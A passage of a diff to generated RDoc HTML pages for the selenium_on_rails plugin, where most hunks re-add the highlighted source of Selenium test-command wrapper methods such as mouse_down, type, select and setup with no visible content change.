     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 83</span>
-83:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">key_up</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
-84:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'keyUp'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
+83:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">key_up</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
+84:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'keyUp'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">keycode</span>
 85:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -945,8 +945,8 @@ a new page is loaded.
           <div class="method-source-code" id="M000047-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 306</span>
-306:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">meta_key_down</span>
-307:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'metaKeyDown'</span>
+306:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">meta_key_down</span>
+307:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'metaKeyDown'</span>
 308:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -971,8 +971,8 @@ Release the meta key.
           <div class="method-source-code" id="M000048-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 311</span>
-311:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">meta_key_up</span>
-312:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'metaKeyUp'</span>
+311:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">meta_key_up</span>
+312:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'metaKeyUp'</span>
 313:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -998,8 +998,8 @@ the specified element.
           <div class="method-source-code" id="M000018-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 94</span>
-94:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_down</span> <span class="ruby-identifier">locator</span>
-95:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseDown'</span>, <span class="ruby-identifier">locator</span>
+94:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_down</span> <span class="ruby-identifier">locator</span>
+95:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseDown'</span>, <span class="ruby-identifier">locator</span>
 96:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1025,8 +1025,8 @@ the specified element.
           <div class="method-source-code" id="M000049-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 317</span>
-317:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_down_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
-318:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseDownAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+317:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_down_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+318:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseDownAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
 319:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1051,8 +1051,8 @@ Simulates a user moving the mouse.
           <div class="method-source-code" id="M000050-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 322</span>
-322:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_move</span> <span class="ruby-identifier">locator</span>
-323:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseMove'</span>, <span class="ruby-identifier">locator</span>
+322:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_move</span> <span class="ruby-identifier">locator</span>
+323:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseMove'</span>, <span class="ruby-identifier">locator</span>
 324:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1077,8 +1077,8 @@ Simulates a user moving the mouse relative to the specified element.
           <div class="method-source-code" id="M000051-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 327</span>
-327:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_move_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
-328:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseMoveAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+327:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_move_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+328:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseMoveAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
 329:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1103,8 +1103,8 @@ Simulates the user moving the mouse off the specified element.
           <div class="method-source-code" id="M000052-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 332</span>
-332:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_out</span> <span class="ruby-identifier">locator</span>
-333:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseOut'</span>, <span class="ruby-identifier">locator</span>
+332:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_out</span> <span class="ruby-identifier">locator</span>
+333:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseOut'</span>, <span class="ruby-identifier">locator</span>
 334:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1129,8 +1129,8 @@ Simulates a user hovering a mouse over the specified element.
           <div class="method-source-code" id="M000017-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 88</span>
-88:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_over</span> <span class="ruby-identifier">locator</span>
-89:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseOver'</span>, <span class="ruby-identifier">locator</span>
+88:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_over</span> <span class="ruby-identifier">locator</span>
+89:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseOver'</span>, <span class="ruby-identifier">locator</span>
 90:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1155,8 +1155,8 @@ Simulates the user releasing the mouse button on the specified element.
           <div class="method-source-code" id="M000053-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 337</span>
-337:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_up</span> <span class="ruby-identifier">locator</span>
-338:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseUp'</span>, <span class="ruby-identifier">locator</span>
+337:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_up</span> <span class="ruby-identifier">locator</span>
+338:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseUp'</span>, <span class="ruby-identifier">locator</span>
 339:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1182,8 +1182,8 @@ the specified element.
           <div class="method-source-code" id="M000054-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 343</span>
-343:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_up_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
-344:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseUpAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+343:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mouse_up_at</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
+344:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'mouseUpAt'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">coord_string</span>
 345:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1216,8 +1216,8 @@ restrictions in the browser (Same Origin Policy).
           <div class="method-source-code" id="M000026-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 172</span>
-172:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">open</span> <span class="ruby-identifier">url</span>
-173:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'open'</span>, <span class="ruby-identifier">url_arg</span>(<span class="ruby-identifier">url</span>)
+172:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">open</span> <span class="ruby-identifier">url</span>
+173:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'open'</span>, <span class="ruby-identifier">url_arg</span>(<span class="ruby-identifier">url</span>)
 174:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1257,8 +1257,8 @@ href="TestBuilderActions.html#M000055">open_window</a>(&quot;&quot;,
           <div class="method-source-code" id="M000055-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 355</span>
-355:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">open_window</span> <span class="ruby-identifier">url</span>, <span class="ruby-identifier">window_id</span>
-356:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'openWindow'</span>, <span class="ruby-identifier">url</span>, <span class="ruby-identifier">window_id</span>
+355:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">open_window</span> <span class="ruby-identifier">url</span>, <span class="ruby-identifier">window_id</span>
+356:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'openWindow'</span>, <span class="ruby-identifier">url</span>, <span class="ruby-identifier">window_id</span>
 357:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1283,8 +1283,8 @@ Wait for the specified amount of time (in milliseconds).
           <div class="method-source-code" id="M000056-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 360</span>
-360:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">pause</span> <span class="ruby-identifier">wait_time</span>
-361:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'pause'</span>, <span class="ruby-identifier">wait_time</span>
+360:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">pause</span> <span class="ruby-identifier">wait_time</span>
+361:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'pause'</span>, <span class="ruby-identifier">wait_time</span>
 362:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1310,8 +1310,8 @@ browser.
           <div class="method-source-code" id="M000032-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 209</span>
-209:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">refresh</span>
-210:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'refresh'</span>
+209:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">refresh</span>
+210:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'refresh'</span>
 211:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1337,8 +1337,8 @@ href="TestBuilderActions.html#M000022">select</a> element.
           <div class="method-source-code" id="M000057-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 365</span>
-365:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_all_selections</span> <span class="ruby-identifier">locator</span>
-366:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'removeAllSelections'</span>, <span class="ruby-identifier">locator</span>
+365:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_all_selections</span> <span class="ruby-identifier">locator</span>
+366:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'removeAllSelections'</span>, <span class="ruby-identifier">locator</span>
 367:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1369,8 +1369,8 @@ command for more information about option locators.
           <div class="method-source-code" id="M000024-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 156</span>
-156:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_selection</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
-157:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'removeSelection'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
+156:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_selection</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
+157:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'removeSelection'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
 158:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1432,8 +1432,8 @@ on label.
           <div class="method-source-code" id="M000022-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 140</span>
-140:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">select</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
-141:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'select'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
+140:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">select</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
+141:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'select'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>
 142:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1468,8 +1468,8 @@ href="http://"subframe"">dom=frames["main"].frames</a></tt>
           <div class="method-source-code" id="M000058-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 375</span>
-375:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">select_frame</span> <span class="ruby-identifier">locator</span>
-376:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'selectFrame'</span>, <span class="ruby-identifier">locator</span>
+375:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">select_frame</span> <span class="ruby-identifier">locator</span>
+376:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'selectFrame'</span>, <span class="ruby-identifier">locator</span>
 377:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1496,8 +1496,8 @@ the main window again, use <tt>nil</tt> as the target.
           <div class="method-source-code" id="M000027-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 178</span>
-178:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">select_window</span> <span class="ruby-identifier">window_id</span>
-179:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'selectWindow'</span>, <span class="ruby-identifier">window_id</span><span class="ruby-operator">||</span><span class="ruby-value str">'null'</span>
+178:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">select_window</span> <span class="ruby-identifier">window_id</span>
+179:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'selectWindow'</span>, <span class="ruby-identifier">window_id</span><span class="ruby-operator">||</span><span class="ruby-value str">'null'</span>
 180:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1529,12 +1529,12 @@ Writes a message to the status bar and adds a note to the browser-side log.
           <div class="method-source-code" id="M000067-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 448</span>
-448:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_context</span> <span class="ruby-identifier">context</span>, <span class="ruby-identifier">log_level_threshold</span> = <span class="ruby-keyword kw">nil</span>
-449:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">log_level_threshold</span>
-450:       <span class="ruby-identifier">command</span> <span class="ruby-value str">'setContext'</span>, <span class="ruby-identifier">context</span>, <span class="ruby-identifier">log_level_threshold</span>.<span class="ruby-identifier">to_s</span>
-451:     <span class="ruby-keyword kw">else</span>
-452:       <span class="ruby-identifier">command</span> <span class="ruby-value str">'setContext'</span>, <span class="ruby-identifier">context</span>
-453:     <span class="ruby-keyword kw">end</span>
+448:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_context</span> <span class="ruby-identifier">context</span>, <span class="ruby-identifier">log_level_threshold</span> = <span class="ruby-keyword kw">nil</span>
+449:     <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">log_level_threshold</span>
+450:       <span class="ruby-identifier">command</span> <span class="ruby-value str">'setContext'</span>, <span class="ruby-identifier">context</span>, <span class="ruby-identifier">log_level_threshold</span>.<span class="ruby-identifier">to_s</span>
+451:     <span class="ruby-keyword kw">else</span>
+452:       <span class="ruby-identifier">command</span> <span class="ruby-value str">'setContext'</span>, <span class="ruby-identifier">context</span>
+453:     <span class="ruby-keyword kw">end</span>
 454:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1561,8 +1561,8 @@ input element or textarea.
           <div class="method-source-code" id="M000059-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 381</span>
-381:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_cursor_position</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">position</span>
-382:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'setCursorPosition'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">position</span>
+381:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_cursor_position</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">position</span>
+382:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'setCursorPosition'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">position</span>
 383:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1596,8 +1596,8 @@ location and then one final one at the end location.
           <div class="method-source-code" id="M000060-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 393</span>
-393:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_mouse_speed</span> <span class="ruby-identifier">pixels</span>
-394:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'setMouseSpeed'</span>, <span class="ruby-identifier">pixels</span>
+393:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_mouse_speed</span> <span class="ruby-identifier">pixels</span>
+394:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'setMouseSpeed'</span>, <span class="ruby-identifier">pixels</span>
 395:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1634,8 +1634,8 @@ The default timeout is 30 seconds.
           <div class="method-source-code" id="M000069-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 480</span>
-480:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_timeout</span> <span class="ruby-identifier">timeout</span>
-481:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'setTimeout'</span>, <span class="ruby-identifier">timeout</span>
+480:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_timeout</span> <span class="ruby-identifier">timeout</span>
+481:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'setTimeout'</span>, <span class="ruby-identifier">timeout</span>
 482:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1669,20 +1669,20 @@ CALL THIS AGAINST NON-TEST DATABASES. The supported <tt>options</tt> are
           <div class="method-source-code" id="M000009-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 14</span>
-14:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">setup</span> <span class="ruby-identifier">options</span> = {}
-15:     <span class="ruby-identifier">options</span> = {<span class="ruby-identifier">options</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">nil</span>} <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">is_a?</span> <span class="ruby-constant">Hash</span>
-16: 
-17:     <span class="ruby-identifier">opts</span> = {<span class="ruby-identifier">:controller</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'selenium'</span>, <span class="ruby-identifier">:action</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'setup'</span>}
-18:     <span class="ruby-identifier">opts</span>[<span class="ruby-identifier">:keep_session</span>] = <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">has_key?</span> <span class="ruby-identifier">:keep_session</span>
-19: 
-20:     [<span class="ruby-identifier">:fixtures</span>, <span class="ruby-identifier">:clear_tables</span>].<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">key</span><span class="ruby-operator">|</span>
-21:       <span class="ruby-keyword kw">if</span> (<span class="ruby-identifier">f</span> = <span class="ruby-identifier">options</span>[<span class="ruby-identifier">key</span>])
-22:         <span class="ruby-identifier">f</span> = [<span class="ruby-identifier">f</span>] <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">is_a?</span> <span class="ruby-constant">Array</span>
-23:         <span class="ruby-identifier">opts</span>[<span class="ruby-identifier">key</span>] = <span class="ruby-identifier">f</span>.<span class="ruby-identifier">join</span> <span class="ruby-value str">','</span>
-24:       <span class="ruby-keyword kw">end</span>
-25:     <span class="ruby-keyword kw">end</span>
-26: 
-27:     <span class="ruby-identifier">open</span> <span class="ruby-identifier">opts</span>
+14:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">setup</span> <span class="ruby-identifier">options</span> = {}
+15:     <span class="ruby-identifier">options</span> = {<span class="ruby-identifier">options</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">nil</span>} <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">is_a?</span> <span class="ruby-constant">Hash</span>
+16: 
+17:     <span class="ruby-identifier">opts</span> = {<span class="ruby-identifier">:controller</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'selenium'</span>, <span class="ruby-identifier">:action</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">'setup'</span>}
+18:     <span class="ruby-identifier">opts</span>[<span class="ruby-identifier">:keep_session</span>] = <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">has_key?</span> <span class="ruby-identifier">:keep_session</span>
+19: 
+20:     [<span class="ruby-identifier">:fixtures</span>, <span class="ruby-identifier">:clear_tables</span>].<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">key</span><span class="ruby-operator">|</span>
+21:       <span class="ruby-keyword kw">if</span> (<span class="ruby-identifier">f</span> = <span class="ruby-identifier">options</span>[<span class="ruby-identifier">key</span>])
+22:         <span class="ruby-identifier">f</span> = [<span class="ruby-identifier">f</span>] <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">is_a?</span> <span class="ruby-constant">Array</span>
+23:         <span class="ruby-identifier">opts</span>[<span class="ruby-identifier">key</span>] = <span class="ruby-identifier">f</span>.<span class="ruby-identifier">join</span> <span class="ruby-value str">','</span>
+24:       <span class="ruby-keyword kw">end</span>
+25:     <span class="ruby-keyword kw">end</span>
+26: 
+27:     <span class="ruby-identifier">open</span> <span class="ruby-identifier">opts</span>
 28:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1708,8 +1708,8 @@ or a new page is loaded.
           <div class="method-source-code" id="M000061-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 399</span>
-399:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shift_key_down</span>
-400:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'shiftKeyDown'</span>
+399:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shift_key_down</span>
+400:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'shiftKeyDown'</span>
 401:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1734,8 +1734,8 @@ Release the shift key.
           <div class="method-source-code" id="M000062-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 404</span>
-404:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shift_key_up</span>
-405:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'shiftKeyUp'</span>
+404:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shift_key_up</span>
+405:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'shiftKeyUp'</span>
 406:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1760,8 +1760,8 @@ This command is a synonym for <tt>store_expression</tt>.
           <div class="method-source-code" id="M000063-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 409</span>
-409:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store</span> <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
-410:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'store'</span>, <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
+409:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store</span> <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
+410:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'store'</span>, <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
 411:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1788,8 +1788,8 @@ single-input &quot;Search&quot; forms.
           <div class="method-source-code" id="M000025-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 162</span>
-162:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">submit</span> <span class="ruby-identifier">locator</span>
-163:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'submit'</span>, <span class="ruby-identifier">locator</span>
+162:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">submit</span> <span class="ruby-identifier">locator</span>
+163:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'submit'</span>, <span class="ruby-identifier">locator</span>
 164:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1820,8 +1820,8 @@ visible text.
           <div class="method-source-code" id="M000019-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 103</span>
-103:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">type</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
-104:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'type'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
+103:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">type</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
+104:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'type'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
 105:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1871,8 +1871,8 @@ send the keystroke events corresponding to what you just typed.
           <div class="method-source-code" id="M000064-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 428</span>
-428:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">type_keys</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
-429:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'typeKeys'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
+428:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">type_keys</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
+429:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'typeKeys'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">value</span>
 430:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1897,8 +1897,8 @@ Uncheck a toggle-button (checkbox/radio).
           <div class="method-source-code" id="M000021-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 113</span>
-113:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">uncheck</span> <span class="ruby-identifier">locator</span>
-114:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'uncheck'</span>, <span class="ruby-identifier">locator</span>
+113:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">uncheck</span> <span class="ruby-identifier">locator</span>
+114:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'uncheck'</span>, <span class="ruby-identifier">locator</span>
 115:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1935,8 +1935,8 @@ JavaScript in there.
           <div class="method-source-code" id="M000068-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 467</span>
